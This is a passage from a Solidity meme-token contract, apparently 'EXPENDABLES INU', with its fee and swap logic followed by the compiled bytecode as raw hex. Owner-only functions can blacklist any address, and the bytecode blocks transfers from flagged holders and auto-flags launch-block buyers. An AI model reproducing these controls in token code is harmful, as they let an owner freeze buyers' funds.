_uniswapV2Router.swapExactTokensForETHSupportingFeeOnTransferTokens(
tokenAmount,
0,
path,
address(this),
block.timestamp
);
}
function _tokenTransfer(address sender, address recipient, uint256 tAmount, bool takeFee) private handleFees(takeFee) {
(uint256 rAmount, uint256 rTransferAmount, uint256 tTransferAmount, uint256 tTeam) = _getValues(tAmount);
_rOwned[sender] = _rOwned[sender].sub(rAmount);
_rOwned[recipient] = _rOwned[recipient].add(rTransferAmount);
_takeTeam(tTeam);
emit Transfer(sender, recipient, tTransferAmount);
}
function _getValues(uint256 tAmount) private view returns (uint256, uint256, uint256, uint256) {
(uint256 tTransferAmount, uint256 tTeam) = _getTValues(tAmount, _teamFee);
uint256 currentRate = _getRate();
(uint256 rAmount, uint256 rTransferAmount) = _getRValues(tAmount, tTeam, currentRate);
return (rAmount, rTransferAmount, tTransferAmount, tTeam);
}
function _getTValues(uint256 tAmount, uint256 TeamFee) private pure returns (uint256, uint256) {
uint256 tTeam = tAmount.mul(TeamFee).div(100);
uint256 tTransferAmount = tAmount.sub(tTeam);
return (tTransferAmount, tTeam);
}
function _getRate() private view returns (uint256) {
(uint256 rSupply, uint256 tSupply) = _getCurrentSupply();
return rSupply.div(tSupply);
}
function _getCurrentSupply() private view returns (uint256, uint256) {
uint256 rSupply = _rTotal;
uint256 tSupply = _tTotal;
if (rSupply < _rTotal.div(_tTotal)) return (_rTotal, _tTotal);
return (rSupply, tSupply);
}
function _getRValues(uint256 tAmount, uint256 tTeam, uint256 currentRate) private pure returns (uint256, uint256) {
uint256 rAmount = tAmount.mul(currentRate);
uint256 rTeam = tTeam.mul(currentRate);
uint256 rTransferAmount = rAmount.sub(rTeam);
return (rAmount, rTransferAmount);
}
function _takeTeam(uint256 tTeam) private {
uint256 currentRate = _getRate();
uint256 rTeam = tTeam.mul(currentRate);
_rOwned[address(this)] = _rOwned[address(this)].add(rTeam);
}
function initContract(address payable feeAddress) external onlyOwner() {
require(!_initialized,"Contract has already been initialized");
IUniswapV2Router02 uniswapV2Router = IUniswapV2Router02(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D);
_uniswapV2Pair = IUniswapV2Factory(uniswapV2Router.factory()).createPair(address(this), uniswapV2Router.WETH());
_uniswapV2Router = uniswapV2Router;
_feeAddress = feeAddress;
_isExcludedFromFee[_feeAddress] = true;
_initialized = true;
}
function openTrading() external onlyOwner() {
require(_initialized, "Contract must be initialized first");
_tradingOpen = true;
_launchTime = block.timestamp;
_initialLimitDuration = _launchTime + (60 minutes);
}
function setFeeWallet(address payable feeWalletAddress) external onlyOwner() {
_isExcludedFromFee[_feeAddress] = false;
_feeAddress = feeWalletAddress;
_isExcludedFromFee[_feeAddress] = true;
}
function excludeFromFee(address payable ad) external onlyOwner() {
_isExcludedFromFee[ad] = true;
}
function includeToFee(address payable ad) external onlyOwner() {
_isExcludedFromFee[ad] = false;
}
function setNoTaxMode(bool onoff) external onlyOwner() {
_noTaxMode = onoff;
}
function setTeamFee(uint256 fee) external onlyOwner() {
require(fee <= 10, "Team fee cannot be larger than 10%");
_teamFee = fee;
}
function setBots(address[] memory bots_) public onlyOwner() {
for (uint i = 0; i < bots_.length; i++) {
if (bots_[i] != _uniswapV2Pair && bots_[i] != address(_uniswapV2Router)) {
_isBot[bots_[i]] = true;
}
}
}
function delBots(address[] memory bots_) public onlyOwner() {
for (uint i = 0; i < bots_.length; i++) {
_isBot[bots_[i]] = false;
}
}
function isBot(address ad) public view returns (bool) {
return _isBot[ad];
}
function isExcludedFromFee(address ad) public view returns (bool) {
return _isExcludedFromFee[ad];
}
function swapFeesManual() external onlyOwner() {
uint256 contractBalance = balanceOf(address(this));
_swapTokensForEth(contractBalance);
}
function withdrawFees() external {
uint256 contractETHBalance = address(this).balance;
_feeAddress.transfer(contractETHBalance);
}
receive() external payable {}
}
|
0x60806040526004361061016a5760003560e01c806370a08231116100d1578063b515566a1161008a578063cf9d4afa11610064578063cf9d4afa1461050d578063dd62ed3e14610536578063e6ec64ec14610573578063f2fde38b1461059c57610171565b8063b515566a146104a4578063c9567bf9146104cd578063cf0848f7146104e457610171565b806370a0823114610394578063715018a6146103d15780638da5cb5b146103e857806390d49b9d1461041357806395d89b411461043c578063a9059cbb1461046757610171565b806331c2d8471161012357806331c2d847146102885780633bbac579146102b1578063437823ec146102ee578063476343ee146103175780634b740b161461032e5780635342acb41461035757610171565b806306d8ea6b1461017657806306fdde031461018d578063095ea7b3146101b857806318160ddd146101f557806323b872dd14610220578063313ce5671461025d57610171565b3661017157005b600080fd5b34801561018257600080fd5b5061018b6105c5565b005b34801561019957600080fd5b506101a261065a565b6040516101af9190612ae7565b60405180910390f35b3480156101c457600080fd5b506101df60048036038101906101da9190612bb1565b610697565b6040516101ec9190612c0c565b60405180910390f35b34801561020157600080fd5b5061020a6106b5565b6040516102179190612c36565b60405180910390f35b34801561022c57600080fd5b5061024760048036038101906102429190612c51565b6106c6565b6040516102549190612c0c565b60405180910390f35b34801561026957600080fd5b5061027261079f565b60405161027f9190612c36565b60405180910390f35b34801561029457600080fd5b506102af60048036038101906102aa9190612dec565b6107a8565b005b3480156102bd57600080fd5b506102d860048036038101906102d39190612e35565b6108b9565b6040516102e59190612c0c565b60405180910390f35b3480156102fa57600080fd5b5061031560048036038101906103109190612ea0565b61090f565b005b34801561032357600080fd5b5061032c6109e6565b005b34801561033a57600080fd5b5061035560048036038101906103509190612ef9565b610a57565b005b34801561036357600080fd5b5061037e60048036038101906103799190612e35565b610af0565b60405161038b9190612c0c565b60405180910390f35b3480156103a057600080fd5b506103bb60048036038101906103b69190612e35565b610b46565b6040516103c89190612c36565b60405180910390f35b3480156103dd57600080fd5b506103e6610b97565b005b3480156103f457600080fd5b506103fd610c1f565b60405161040a9190612f35565b60405180910390f35b34801561041f57600080fd5b5061043a60048036038101906104359190612ea0565b610c48565b005b34801561044857600080fd5b50610451610dfc565b60405161045e9190612ae7565b60405180910390f35b34801561047357600080fd5b5061048e60048036038101906104899190612bb1565b610e39565b60405161049b9190612c0c565b60405180910390f35b3480156104b057600080fd5b506104cb60048036038101906104c69190612dec565b610e57565b005b3480156104d957600080fd5b506104e261104e565b005b3480156104f057600080fd5b5061050b60048036038101906105069190612ea0565b611153565b005b34801561051957600080fd5b50610534600480360381019061052f9190612ea0565b61122a565b005b34801561054257600080fd5b5061055d60048036038101906105589190612f50565b6115c4565b60405161056a9190612c36565b60405180910390f35b34801561057f57600080fd5b5061059a60048036038101906105959190612f90565b61164b565b005b3480156105a857600080fd5b506105c360048036038101906105be9190612e35565b611715565b005b6105cd61180d565b73ffffffffffffffffffffffffffffffffffffffff166105eb610c1f565b73ffffffffffffffffffffffffffffffffffffffff1614610641576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161063890613009565b60405180910390fd5b600061064c30610b46565b905061065781611815565b50565b60606040518060400160405280600f81526020017f455850454e4441424c455320494e550000000000000000000000000000000000815250905090565b60006106ab6106a461180d565b8484611a8e565b6001905092915050565b600068056bc75e2d63100000905090565b60006106d3848484611c59565b610794846106df61180d565b61078f85604051806060016040528060288152602001613bb360289139600360008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020600061074561180d565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461229f9092919063ffffffff16565b611a8e565b600190509392505050565b60006009905090565b6107b061180d565b73ffffffffffffffffffffffffffffffffffffffff166107ce610c1f565b73ffffffffffffffffffffffffffffffffffffffff1614610824576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161081b90613009565b60405180910390fd5b60005b81518110156108b55760006005600084848151811061084957610848613029565b5b602002602001015173ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff02191690831515021790555080806108ad90613087565b915050610827565b5050565b6000600560008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff169050919050565b61091761180d565b73ffffffffffffffffffffffffffffffffffffffff16610935610c1f565b73ffffffffffffffffffffffffffffffffffffffff161461098b576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161098290613009565b60405180910390fd5b6001600460008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff02191690831515021790555050565b6000479050600a60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166108fc829081150290604051600060405180830381858888f19350505050158015610a53573d6000803e3d6000fd5b5050565b610a5f61180d565b73ffffffffffffffffffffffffffffffffffffffff16610a7d610c1f565b73ffffffffffffffffffffffffffffffffffffffff1614610ad3576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610aca90613009565b60405180910390fd5b80600c60156101000a81548160ff02191690831515021790555050565b6000600460008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff169050919050565b6000610b90600160008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054612303565b9050919050565b610b9f61180d565b73ffffffffffffffffffffffffffffffffffffffff16610bbd610c1f565b73ffffffffffffffffffffffffffffffffffffffff1614610c13576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610c0a90613009565b60405180910390fd5b610c1d6000612371565b565b60008060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16905090565b610c5061180d565b73ffffffffffffffffffffffffffffffffffffffff16610c6e610c1f565b73ffffffffffffffffffffffffffffffffffffffff1614610cc4576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610cbb90613009565b60405180910390fd5b600060046000600a60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff02191690831515021790555080600a60006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550600160046000600a60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff02191690831515021790555050565b60606040518060400160405280600b81526020017f455850454e4441424c4553000000000000000000000000000000000000000000815250905090565b6000610e4d610e4661180d565b8484611c59565b6001905092915050565b610e5f61180d565b73ffffffffffffffffffffffffffffffffffffffff16610e7d610c1f565b73ffffffffffffffffffffffffffffffffffffffff1614610ed3576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610eca90613009565b60405180910390fd5b60005b815181101561104a57600c60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16828281518110610f2b57610f2a613029565b5b602002602001015173ffffffffffffffffffffffffffffffffffffffff1614158015610fbf5750600b60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16828281518110610f9e57610f9d613029565b5b602002602001015173ffffffffffffffffffffffffffffffffffffffff1614155b1561103757600160056000848481518110610fdd57610fdc613029565b5b602002602001015173ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff0219169083151502179055505b808061104290613087565b915050610ed6565b5050565b61105661180d565b73ffffffffffffffffffffffffffffffffffffffff16611074610c1f565b73ffffffffffffffffffffffffffffffffffffffff16146110ca576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016110c190613009565b60405180910390fd5b600c60149054906101000a900460ff16611119576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161111090613142565b60405180910390fd5b6001600c60176101000a81548160ff02191690831515021790555042600d81905550610e10600d5461114b9190613162565b600e81905550565b61115b61180d565b73ffffffffffffffffffffffffffffffffffffffff16611179610c1f565b73ffffffffffffffffffffffffffffffffffffffff16146111cf576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016111c690613009565b60405180910390fd5b6000600460008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff02191690831515021790555050565b61123261180d565b73ffffffffffffffffffffffffffffffffffffffff16611250610c1f565b73ffffffffffffffffffffffffffffffffffffffff16146112a6576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161129d90613009565b60405180910390fd5b600c60149054906101000a900460ff16156112f6576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016112ed9061322a565b60405180910390fd5b6000737a250d5630b4cf539739df2c5dacb4c659f2488d90508073ffffffffffffffffffffffffffffffffffffffff1663c45a01556040518163ffffffff1660e01b8152600401602060405180830381865afa15801561135a573d6000803e3d6000fd5b505050506040513d601f19601f8201168201806040525081019061137e919061325f565b73ffffffffffffffffffffffffffffffffffffffff1663c9c65396308373ffffffffffffffffffffffffffffffffffffffff1663ad5c46486040518163ffffffff1660e01b8152600401602060405180830381865afa1580156113e5573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190611409919061325f565b6040518363ffffffff1660e01b815260040161142692919061328c565b6020604051808303816000875af1158015611445573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190611469919061325f565b600c60006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555080600b60006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555081600a60006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550600160046000600a60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff0219169083151502179055506001600c60146101000a81548160ff0219169083151502179055505050565b6000600360008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905092915050565b61165361180d565b73ffffffffffffffffffffffffffffffffffffffff16611671610c1f565b73ffffffffffffffffffffffffffffffffffffffff16146116c7576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016116be90613009565b60405180910390fd5b600a81111561170b576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161170290613327565b60405180910390fd5b8060088190555050565b61171d61180d565b73ffffffffffffffffffffffffffffffffffffffff1661173b610c1f565b73ffffffffffffffffffffffffffffffffffffffff1614611791576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161178890613009565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff161415611801576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016117f8906133b9565b60405180910390fd5b61180a81612371565b50565b600033905090565b6001600c60166101000a81548160ff0219169083151502179055506000600267ffffffffffffffff81111561184d5761184c612ca9565b5b60405190808252806020026020018201604052801561187b5781602001602082028036833780820191505090505b509050308160008151811061189357611892613029565b5b602002602001019073ffffffffffffffffffffffffffffffffffffffff16908173ffffffffffffffffffffffffffffffffffffffff1681525050600b60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663ad5c46486040518163ffffffff1660e01b8152600401602060405180830381865afa15801561193a573d6000803e3d6000fd5b505050506040513d601f19601f8201168201806040525081019061195e919061325f565b8160018151811061197257611971613029565b5b602002602001019073ffffffffffffffffffffffffffffffffffffffff16908173ffffffffffffffffffffffffffffffffffffffff16815250506119d930600b60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1684611a8e565b600b60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663791ac9478360008430426040518663ffffffff1660e01b8152600401611a3d9594939291906134dc565b600060405180830381600087803b158015611a5757600080fd5b505af1158015611a6b573d6000803e3d6000fd5b50505050506000600c60166101000a81548160ff02191690831515021790555050565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff161415611afe576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611af5906135a8565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff161415611b6e576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611b659061363a565b60405180910390fd5b80600360008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508173ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b92583604051611c4c9190612c36565b60405180910390a3505050565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff161415611cc9576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611cc0906136cc565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff161415611d39576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611d309061375e565b60405180910390fd5b60008111611d7c576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611d73906137f0565b60405180910390fd5b600560008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff1615611e09576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611e00906138a8565b60405180910390fd5b6000600460008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16158015611eaf5750600460008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16155b8015611ec85750600c60159054906101000a900460ff16155b8015611f795750600c60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff161480611f785750600c60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff16145b5b1561228d57600c60179054906101000a900460ff16611fcd576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611fc490613914565b60405180910390fd5b60019050600c60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff1614801561207c5750600b60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614155b8015612089575042600e54115b156120eb57600061209984610b46565b90506120cb60646120bd600568056bc75e2d6310000061243590919063ffffffff16565b6124b090919063ffffffff16565b6120de82856124fa90919063ffffffff16565b11156120e957600080fd5b505b600d5442141561214e576001600560008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff0219169083151502179055505b600061215930610b46565b9050600c60169054906101000a900460ff161580156121c65750600c60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168573ffffffffffffffffffffffffffffffffffffffff1614155b1561228b57600081111561228a5761222560646122176005612209600c60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16610b46565b61243590919063ffffffff16565b6124b090919063ffffffff16565b8111156122805761227d606461226f6005612261600c60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16610b46565b61243590919063ffffffff16565b6124b090919063ffffffff16565b90505b61228981611815565b5b5b505b61229984848484612558565b50505050565b60008383111582906122e7576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016122de9190612ae7565b60405180910390fd5b50600083856122f69190613934565b9050809150509392505050565b600060065482111561234a576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401612341906139da565b60405180910390fd5b600061235461272f565b905061236981846124b090919063ffffffff16565b915050919050565b60008060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff169050816000806101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff1602179055508173ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a35050565b60008083141561244857600090506124aa565b6000828461245691906139fa565b90508284826124659190613a83565b146124a5576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161249c90613b26565b60405180910390fd5b809150505b92915050565b60006124f283836040518060400160405280601a81526020017f536166654d6174683a206469766973696f6e206279207a65726f00000000000081525061275a565b905092915050565b60008082846125099190613162565b90508381101561254e576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161254590613b92565b60405180910390fd5b8091505092915050565b8080612567576125666127bd565b5b600080600080612576876127df565b93509350935093506125d084600160008c73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461282e90919063ffffffff16565b600160008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000208190555061266583600160008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546124fa90919063ffffffff16565b600160008a73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055506126b181612878565b8773ffffffffffffffffffffffffffffffffffffffff168973ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef8460405161270e9190612c36565b60405180910390a3505050508061272857612727612935565b5b5050505050565b600080600061273c612940565b9150915061275381836124b090919063ffffffff16565b9250505090565b600080831182906127a1576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016127989190612ae7565b60405180910390fd5b50600083856127b09190613a83565b9050809150509392505050565b6000600854116127cc57600080fd5b6008546009819055506000600881905550565b6000806000806000806127f4876008546129a2565b91509150600061280261272f565b90506000806128128a85856129f5565b9150915081818686985098509850985050505050509193509193565b600061287083836040518060400160405280601e81526020017f536166654d6174683a207375627472616374696f6e206f766572666c6f77000081525061229f565b905092915050565b600061288261272f565b90506000612899828461243590919063ffffffff16565b90506128ed81600160003073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546124fa90919063ffffffff16565b600160003073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550505050565b600954600881905550565b60008060006006549050600068056bc75e2d63100000905061297668056bc75e2d631000006006546124b090919063ffffffff16565b8210156129955760065468056bc75e2d6310000093509350505061299e565b81819350935050505b9091565b60008060006129cd60646129bf868861243590919063ffffffff16565b6124b090919063ffffffff16565b905060006129e4828761282e90919063ffffffff16565b905080829350935050509250929050565b6000806000612a0d848761243590919063ffffffff16565b90506000612a24858761243590919063ffffffff16565b90506000612a3b828461282e90919063ffffffff16565b9050828194509450505050935093915050565b600081519050919050565b600082825260208201905092915050565b60005b83811015612a88578082015181840152602081019050612a6d565b83811115612a97576000848401525b50505050565b6000601f19601f8301169050919050565b6000612ab982612a4e565b612ac38185612a59565b9350612ad3818560208601612a6a565b612adc81612a9d565b840191505092915050565b60006020820190508181036000830152612b018184612aae565b905092915050565b6000604051905090565b600080fd5b600080fd5b600073ffffffffffffffffffffffffffffffffffffffff82169050919050565b6000612b4882612b1d565b9050919050565b612b5881612b3d565b8114612b6357600080fd5b50565b600081359050612b7581612b4f565b92915050565b6000819050919050565b612b8e81612b7b565b8114612b9957600080fd5b50565b600081359050612bab81612b85565b92915050565b60008060408385031215612bc857612bc7612b13565b5b6000612bd685828601612b66565b9250506020612be785828601612b9c565b9150509250929050565b60008115159050919050565b612c0681612bf1565b82525050565b6000602082019050612c216000830184612bfd565b92915050565b612c3081612b7b565b82525050565b6000602082019050612c4b6000830184612c27565b92915050565b600080600060608486031215612c6a57612c69612b13565b5b6000612c7886828701612b66565b9350506020612c8986828701612b66565b9250506040612c9a86828701612b9c565b9150509250925092565b600080fd5b7f4e487b7100000000000000000000000000000000000000000000000000000000600052604160045260246000fd5b612ce182612a9d565b810181811067ffffffffffffffff82111715612d0057612cff612ca9565b5b80604052505050565b6000612d13612b09565b9050612d1f8282612cd8565b919050565b600067ffffffffffffffff821115612d3f57612d3e612ca9565b5b602082029050602081019050919050565b600080fd5b6000612d68612d6384612d24565b612d09565b90508083825260208201905060208402830185811115612d8b57612d8a612d50565b5b835b81811015612db45780612da08882612b66565b845260208401935050602081019050612d8d565b5050509392505050565b600082601f830112612dd357612dd2612ca4565b5b8135612de3848260208601612d55565b91505092915050565b600060208284031215612e0257612e01612b13565b5b600082013567ffffffffffffffff811115612e2057612e1f612b18565b5b612e2c84828501612dbe565b91505092915050565b600060208284031215612e4b57612e4a612b13565b5b6000612e5984828501612b66565b91505092915050565b6000612e6d82612b1d565b9050919050565b612e7d81612e62565b8114612e8857600080fd5b50565b600081359050612e9a81612e74565b92915050565b600060208284031215612eb657612eb5612b13565b5b6000612ec484828501612e8b565b91505092915050565b612ed681612bf1565b8114612ee157600080fd5b50565b600081359050612ef381612ecd565b92915050565b600060208284031215612f0f57612f0e612b13565b5b6000612f1d84828501612ee4565b91505092915050565b612f2f81612b3d565b82525050565b6000602082019050612f4a6000830184612f26565b92915050565b60008060408385031215612f6757612f66612b13565b5b6000612f7585828601612b66565b9250506020612f8685828601612b66565b9150509250929050565b600060208284031215612fa657612fa5612b13565b5b6000612fb484828501612b9c565b91505092915050565b7f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572600082015250565b6000612ff3602083612a59565b9150612ffe82612fbd565b602082019050919050565b6000602082019050818103600083015261302281612fe6565b9050919050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052603260045260246000fd5b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601160045260246000fd5b600061309282612b7b565b91507fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff8214156130c5576130c4613058565b5b600182019050919050565b7f436f6e7472616374206d75737420626520696e697469616c697a65642066697260008201527f7374000000000000000000000000000000000000000000000000000000000000602082015250565b600061312c602283612a59565b9150613137826130d0565b604082019050919050565b6000602082019050818103600083015261315b8161311f565b9050919050565b600061316d82612b7b565b915061317883612b7b565b9250827fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff038211156131ad576131ac613058565b5b828201905092915050565b7f436f6e74726163742068617320616c7265616479206265656e20696e6974696160008201527f6c697a6564000000000000000000000000000000000000000000000000000000602082015250565b6000613214602583612a59565b915061321f826131b8565b604082019050919050565b6000602082019050818103600083015261324381613207565b9050919050565b60008151905061325981612b4f565b92915050565b60006020828403121561327557613274612b13565b5b60006132838482850161324a565b91505092915050565b60006040820190506132a16000830185612f26565b6132ae6020830184612f26565b9392505050565b7f5465616d206665652063616e6e6f74206265206c6172676572207468616e203160008201527f3025000000000000000000000000000000000000000000000000000000000000602082015250565b6000613311602283612a59565b915061331c826132b5565b604082019050919050565b6000602082019050818103600083015261334081613304565b9050919050565b7f4f776e61626c653a206e6577206f776e657220697320746865207a65726f206160008201527f6464726573730000000000000000000000000000000000000000000000000000602082015250565b60006133a3602683612a59565b91506133ae82613347565b604082019050919050565b600060208201905081810360008301526133d281613396565b9050919050565b6000819050919050565b6000819050919050565b60006134086134036133fe846133d9565b6133e3565b612b7b565b9050919050565b613418816133ed565b82525050565b600081519050919050565b600082825260208201905092915050565b6000819050602082019050919050565b61345381612b3d565b82525050565b6000613465838361344a565b60208301905092915050565b6000602082019050919050565b60006134898261341e565b6134938185613429565b935061349e8361343a565b8060005b838110156134cf5781516134b68882613459565b97506134c183613471565b9250506001810190506134a2565b5085935050505092915050565b600060a0820190506134f16000830188612c27565b6134fe602083018761340f565b8181036040830152613510818661347e565b905061351f6060830185612f26565b61352c6080830184612c27565b9695505050505050565b7f45524332303a20617070726f76652066726f6d20746865207a65726f2061646460008201527f7265737300000000000000000000000000000000000000000000000000000000602082015250565b6000613592602483612a59565b915061359d82613536565b604082019050919050565b600060208201905081810360008301526135c181613585565b9050919050565b7f45524332303a20617070726f766520746f20746865207a65726f20616464726560008201527f7373000000000000000000000000000000000000000000000000000000000000602082015250565b6000613624602283612a59565b915061362f826135c8565b604082019050919050565b6000602082019050818103600083015261365381613617565b9050919050565b7f45524332303a207472616e736665722066726f6d20746865207a65726f20616460008201527f6472657373000000000000000000000000000000000000000000000000000000602082015250565b60006136b6602583612a59565b91506136c18261365a565b604082019050919050565b600060208201905081810360008301526136e5816136a9565b9050919050565b7f45524332303a207472616e7366657220746f20746865207a65726f206164647260008201527f6573730000000000000000000000000000000000000000000000000000000000602082015250565b6000613748602383612a59565b9150613753826136ec565b604082019050919050565b600060208201905081810360008301526137778161373b565b9050919050565b7f5472616e7366657220616d6f756e74206d75737420626520677265617465722060008201527f7468616e207a65726f0000000000000000000000000000000000000000000000602082015250565b60006137da602983612a59565b91506137e58261377e565b604082019050919050565b60006020820190508181036000830152613809816137cd565b9050919050565b7f596f7572206164647265737320686173206265656e206d61726b65642061732060008201527f6120626f742c20706c6561736520636f6e7461637420737461666620746f206160208201527f707065616c20796f757220636173652e00000000000000000000000000000000604082015250565b6000613892605083612a59565b915061389d82613810565b606082019050919050565b600060208201905081810360008301526138c181613885565b9050919050565b7f54726164696e6720686173206e6f7420796574206265656e206f70656e65642e600082015250